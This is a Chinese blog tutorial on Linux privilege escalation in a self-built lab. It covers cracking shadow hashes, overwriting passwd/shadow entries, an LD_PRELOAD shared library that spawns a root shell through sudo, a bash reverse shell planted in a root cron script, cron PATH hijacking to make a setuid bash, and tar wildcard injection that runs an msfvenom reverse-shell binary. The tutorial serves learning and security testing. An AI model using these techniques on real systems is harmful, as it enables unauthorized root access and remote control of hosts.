linux提权——提权大赏

2024-04-21 17:04
文章标签 linux 提权 大赏

本文主要是介绍linux提权——提权大赏,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 一、可读shadow文件利用提权
  • 二、可写shadow文件利用提权
  • 三、可写passwd文件利用提权
  • 四、sudo环境变量提权
    • 配置环境
    • 实验
  • 五、自动任务文件权限提升
    • 配置环境
    • 实验
  • 六、自动任务PATH环境变量提权
  • 七、自动任务通配符提权

一、可读shadow文件利用提权

ls -al /etc/shadow # 查看文件属性,确保当前用户对shadow文件具有可读权限
cat /etc/shadow | grep ':\$' # 查看shadow文件夹,grep相当于过滤器,后面接过滤条件

在这里插入图片描述

/etc/shadow文件中,每个用户的密码都是用一个特定的哈希函数加密的。为了避免密码被轻易破解,Linux 系统会使用不同的哈希函数来加密密码。而$y$中的y字符则表示使用的是哪种哈希函数,不同的哈希函数对应不同的字符。以下是一些常见的 $y$ 值及其对应的哈希函数:

  • $1$表示使用的是 MD5 哈希函数;
  • $2$$2a$表示使用的是 Blowfish 哈希函数;
  • $5$表示使用的是 SHA-256 哈希函数;
  • $6$表示使用的是 SHA-512 哈希函数。
sudo john --wordlist=/usr/share/wordlist/rockyou.txt hash.txt # john进行破解

在这里插入图片描述

二、可写shadow文件利用提权

思路:写入

cp /etc/shadow /tmp/shadow.bak  # 备份重要文件
mkpasswd -m sha-512 123456 # 生成hash,hash算法为sha-512
# 替换/etc/shadow中root的密码

mkpasswd是linux中专门用来生成密码hash的工具,-m用来指定hash算法。

在这里插入图片描述

三、可写passwd文件利用提权

提权肯定最先关注root用户,现代的linux发行版中,密码hash都是存储在/etc/shadow中,/etc/passwd中并不直接存储密码hash,通常用X来占位,但是还是可以直接将密码写入/etcpasswd中,尝试提权。也就是一个优先级的问题,先读取passwd,再读取shadow文件。

cp /etc/passwd /tmp/passwd.bak # 备份文件
openssl passwd <明文> # openssl passwd生成密码的hash值
# 替换/etc/passwd中的X

在这里插入图片描述

生成hash时,也可以用mkpasswd,但是passwd文件中生成hash时最好用openssl passwd,再shadow文件中生成hash用mkpasswd

四、sudo环境变量提权

当用whoami命令查看当前用户的用户名时,显示whoami:无法找到id值为XXX的用户。原因:当前用没有权限读取/etc/passwd或者/etc/shadow解决方法:修改文件权限,chmod 644 /etc/passwd
在这里插入图片描述

配置环境

adduser test # root用户下新增test用户# 补充
sudo adduser test sudo # 将test用户添加到sudo组中
sudo deluser test sudo # 将test用户从sudo组中删除

在这里插入图片描述

vim /etc/sudoers # 使用root用户编/etc/sudoers文件,/etc/sudoers文件是sudo命令的配置文件# 添加
Defaults env_keep+=LD_PRELOAD
test ALL=(ALL:ALL) NOPASSWD:/usr/bin/find # 简单来说,用户test可以使用sudo命令执行find命令

在这里插入图片描述
在这里插入图片描述
test用户只允许执行sudo find,其他sudo命令不允许执行。
在这里插入图片描述

实验

使用test用户登录到系统,使用sudo -l查看当前用户能够以root用户身份执行哪些命令,其实就是看他能执行哪些sudo命令。这里的话,test用户只允许执行sudo find,且不需要密码

在这里插入图片描述

  • Defaults env_reset表示默认会重置环境变量,因此自定义的变量会在 sudo 环境中失效,也就不会获取正确的变量值。
  • env_keep配置项,用于保留部分环境变量不被重置,需要保留的变量就写入双引号之中。
  • secure_path配置项,其中包含的路径将被当做sudo环境的PATH变量使用。也就是说如果在 sudo 环境无法找到某些命令,那么可以将这些命令的路径加入该配置项之中。
  • LD_PRELOAD是一个环境变量,用于指定在程序加载时预加载的共享库。这个环境变量允许用户在运行程序之前,通过指定预加载的共享库,修改程序的行为。当设置LD_PRELOAD环境变量时,指定的共享库将在程序加载时优先于其他库加载,并将其函数和符号替换为预加载的库中的函数和符号。LD:Linking Dynamic.

也就是说我们在使用sudo find命令时,会以root用户的身份执行命令,同时环境变量中的自定义变量将失效,而且执行sudo find命令之前,会加载共享库文件,共享库文件的路径由LD_PRELOAD指定

1、关于/bin/sbin/usr/sbin/usr/bin文件夹

  • 从命令功能角度:
    • /sbin下的命令属于基本的系统命令,如shutdownreboot,用于启动系统,修复系统。
    • /bin下存放一些普通的基本命令,如lschmod等,这些命令在Linux系统里的配置文件脚本里经常用到。
  • 从用户权限的角度:
    • /sbin目录下的命令通常只有管理员才可以运行。
    • /bin下的命令管理员和一般的用户都可以使用。
  • /usr/sbin存放的一些非必须的系统命令;/usr/bin存放一些用户命令。

2、链接

  • 静态链接(Static Linking):在静态链接中,编译器将所有的目标文件和库文件的机器代码合并到一个单独的可执行文件中。这意味着所有的代码和库都被复制到最终的可执行文件中。例如,linux中,使用C语言编写的代码,需要先经过编译器编译将C语言代码转化为机器码,也就是目标文件(.o文件),再链接所需库文件生成可执行文件(.exe文件)。
  • 动态链接(Dynamic Linking):在动态链接中,目标文件中只包含对所需库函数的引用,而不包含实际的函数实现。在程序运行时,操作系统会在内存中加载并链接所需的共享库,将其与程序进行动态链接。常见的动态链接库文件有 .so(Linux)和 .dll(Windows)。
  • 加载时链接(Load-time Linking):加载时链接是在程序加载到内存时进行的链接过程。程序在加载时需要引入所需的库,并在加载时解析并链接这些库。这种链接方式介于静态链接和动态链接之间,它使得程序在运行前不需要包含完整的库代码,但仍然需要在每次加载时进行链接。

编写shellcode:

 #include <stdio.h> //标准输入输出库#include <sys/types.h> //数据类型库#include <stdlib.h> //C语言标准库#include <unistd.h> //包含setuid和setgid的库void _init(){unsetenv("LD_PRELOAD"); //一旦程序结束或重新启动,环境变量将会恢复到其默认或先前设置的状态。setgid(0);setuid(0); //程序以root用户身份执行后续操作system("/bin/bash");}

编译源代码:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# -fPIC:生成位置独立代码(Position Independent Code),可以在内存中的任何位置加载和执行,而不受具体加载地址的限制。
# -shared:指定生成共享库。
# -o <file>:输出文件。
# -nostartfiles:不使用默认的启动文件

提权

sudo LD_PRELOAD=/home/test/shell.so find # 指定共享库位置,执行该命令时,会先加载共享库文件shell.so

在这里插入图片描述

其实在shell.c中也可以不用setuid(0);setgid(0),因为在执行sudo find时本来就是root权限,预先加载共享库shell.so时,也是以root用户的权限去加载的。
在这里插入图片描述

五、自动任务文件权限提升

配置环境

写一个自动任务脚本,脚本内容:

echo `date` >> /tmp/useless # 查看当前时间,并写入/tmp/useless目录下

在这里插入图片描述
直接编辑vim /etc/crontab文件,写入定时任务,* * * * * root bash /root/overwrite.sh,大致意思就是每分钟以root用户允许overwrite.sh文件。
在这里插入图片描述
可以看到定时任务执行成功。
在这里插入图片描述

实验

当登录到一台主机后,查看其定时任务:

cat /etc/crontab

可以看到有一个定时任务,每隔一分钟就执行bash /root/overwrite.sh,且以root用户身份执行。
在这里插入图片描述

locate overwrite.sh # 如果不知道脚本路径,就用locate定位文件位置
ls -al # 查看当前用户的文件权限,可写,就直接将反弹shell写入该脚本

在这里插入图片描述

bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 # 反弹shell脚本nc -lnvp 4444 # 攻击机监听4444端口

在这里插入图片描述
我的理解是:靶机的shell标准输入、输出、错误输出都与127.0.0.1:4444的输出建立了TCP连接,也就是说靶机shell所有的输出信息都会显示到监听127.0.0.1:4444的shell中,唯独没有解决从127.0.0.1:4444向靶机发送命令。0>&1是就是将127.0.0.1:4444的标准输入与127.0.0.1:4444的标准输出进行绑定,使得从127.0.0.1:4444来的输入可以发给靶机shell。也可以将0>&1替换为0>&2,效果是差不多的。

在这里插入图片描述

六、自动任务PATH环境变量提权

cat /etc/crontab查看当前系统的自动任务后,一方面可以定位定时脚本的位置,然后将shell写到定时脚本中,实现提权;另一方面也可以从/etc/crontab中的PATH入手,达到提权目的。
具体如下:在执行自动任务的时候,系统会优先关注/etc/crontab中的PATH,而不是使用系统默认的PATH;自动任务中,脚本路径要么是绝对路径,要么是相对路径,如果是相对路径的话,将会根据PATH参数去相应的文件夹下找,是否有对应的脚本。,例如,此处overwrite.sh是相对路径,当执行该脚本的时候,系统会先去/home/test目录下去找,如果没有,再去/usr/local/sbin目录下去找,依此类推…

在这里插入图片描述
这里的话,因为overwrite.sh是相对路径,而且/home/test是第一优先目录,所以可以在/home/test目录下新建一个overwrite.sh脚本文件,尽管这不是真正的路径,但是系统还是优先执行/home/test/overwrite.sh

vim overwrite.sh# 内容
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +sx /tmp/rootbash # 必须加s属性,只有加了s属性,才能以root用户的身份去获取shell,否则就还是当前用户的shell

在这里插入图片描述

七、自动任务通配符提权

cat /etc/crontab查看系统临时任务,发现会自动执行/usr/local/bin/compress.sh。查看该文件,发现:系统会切换到/home/test目录下,然后用tar打包该目录下的所有文件,打包到/tmp/backup.tar.gz
在这里插入图片描述

在这里插入图片描述
tar命令中有两个参数,分别为:--checkpoint--checkpoint-action参数,--checkpoint=n:每打包n个文件就设置一个检查点,在检查点可以执行任何操作,操作由--checkpoint-action指定,exec代表执行外部命令。

msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf # 生成二进制的反弹shell,-p:shell类型,-f:文件格式,elf是linux下的二进制文件,-o:输出文件touch /home/test--checkpoint=1 //注入一个检查点,用于告诉tar存在一个检查点
touch /home/test--checkpoint-action=exec=shell.elf // 在检查点处执行外部命令

在这里插入图片描述
在这里插入图片描述

—————————————————————————————————————————
待续…

这篇关于linux提权——提权大赏的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/923595

相关文章

Linux内核定时器使用及说明

《Linux内核定时器使用及说明》文章详细介绍了Linux内核定时器的特性、核心数据结构、时间相关转换函数以及操作API,通过示例展示了如何编写和使用定时器,包括按键消抖的应用... 目录1.linux内核定时器特征2.Linux内核定时器核心数据结构3.Linux内核时间相关转换函数4.Linux内核定时

Linux镜像文件制作方式

《Linux镜像文件制作方式》本文介绍了Linux镜像文件制作的过程,包括确定磁盘空间布局、制作空白镜像文件、分区与格式化、复制引导分区和其他分区... 目录1.确定磁盘空间布局2.制作空白镜像文件3.分区与格式化1) 分区2) 格式化4.复制引导分区5.复制其它分区1) 挂载2) 复制bootfs分区3)

Linux服务器数据盘移除并重新挂载的全过程

《Linux服务器数据盘移除并重新挂载的全过程》:本文主要介绍在Linux服务器上移除并重新挂载数据盘的整个过程,分为三大步:卸载文件系统、分离磁盘和重新挂载,每一步都有详细的步骤和注意事项,确保... 目录引言第一步:卸载文件系统第二步:分离磁盘第三步:重新挂载引言在 linux 服务器上移除并重新挂p

Linux下屏幕亮度的调节方式

《Linux下屏幕亮度的调节方式》文章介绍了Linux下屏幕亮度调节的几种方法,包括图形界面、手动调节(使用ACPI内核模块)和外接显示屏调节,以及自动调节软件(CaliseRedshift和Reds... 目录1 概述2 手动调节http://www.chinasem.cn2.1 手动屏幕调节2.2 外接显

Linux(centos7)虚拟机没有IP问题及解决方案

《Linux(centos7)虚拟机没有IP问题及解决方案》文章介绍了在CentOS7中配置虚拟机网络并使用Xshell连接虚拟机的步骤,首先,检查并配置网卡ens33的ONBOOT属性为yes,然后... 目录输入查看ZFhrxIP命令:ip addr查看,没有虚拟机IP修改ens33配置文件重启网络Xh

linux实现对.jar文件的配置文件进行修改

《linux实现对.jar文件的配置文件进行修改》文章讲述了如何使用Linux系统修改.jar文件的配置文件,包括进入文件夹、编辑文件、保存并退出编辑器,以及重新启动项目... 目录linux对.jar文件的配置文件进行修改第一步第二步 第三步第四步总结linux对.jar文件的配置文件进行修改第一步进

linux ssh如何实现增加访问端口

《linuxssh如何实现增加访问端口》Linux中SSH默认使用22端口,为了增强安全性或满足特定需求,可以通过修改SSH配置来增加或更改SSH访问端口,具体步骤包括修改SSH配置文件、增加或修改... 目录1. 修改 SSH 配置文件2. 增加或修改端口3. 保存并退出编辑器4. 更新防火墙规则使用uf

Linux join命令的使用及说明

《Linuxjoin命令的使用及说明》`join`命令用于在Linux中按字段将两个文件进行连接,类似于SQL的JOIN,它需要两个文件按用于匹配的字段排序,并且第一个文件的换行符必须是LF,`jo... 目录一. 基本语法二. 数据准备三. 指定文件的连接key四.-a输出指定文件的所有行五.-o指定输出

Linux jq命令的使用解读

《Linuxjq命令的使用解读》jq是一个强大的命令行工具,用于处理JSON数据,它可以用来查看、过滤、修改、格式化JSON数据,通过使用各种选项和过滤器,可以实现复杂的JSON处理任务... 目录一. 简介二. 选项2.1.2.2-c2.3-r2.4-R三. 字段提取3.1 普通字段3.2 数组字段四.

Linux kill正在执行的后台任务 kill进程组使用详解

《Linuxkill正在执行的后台任务kill进程组使用详解》文章介绍了两个脚本的功能和区别,以及执行这些脚本时遇到的进程管理问题,通过查看进程树、使用`kill`命令和`lsof`命令,分析了子... 目录零. 用到的命令一. 待执行的脚本二. 执行含子进程的脚本,并kill2.1 进程查看2.2 遇到的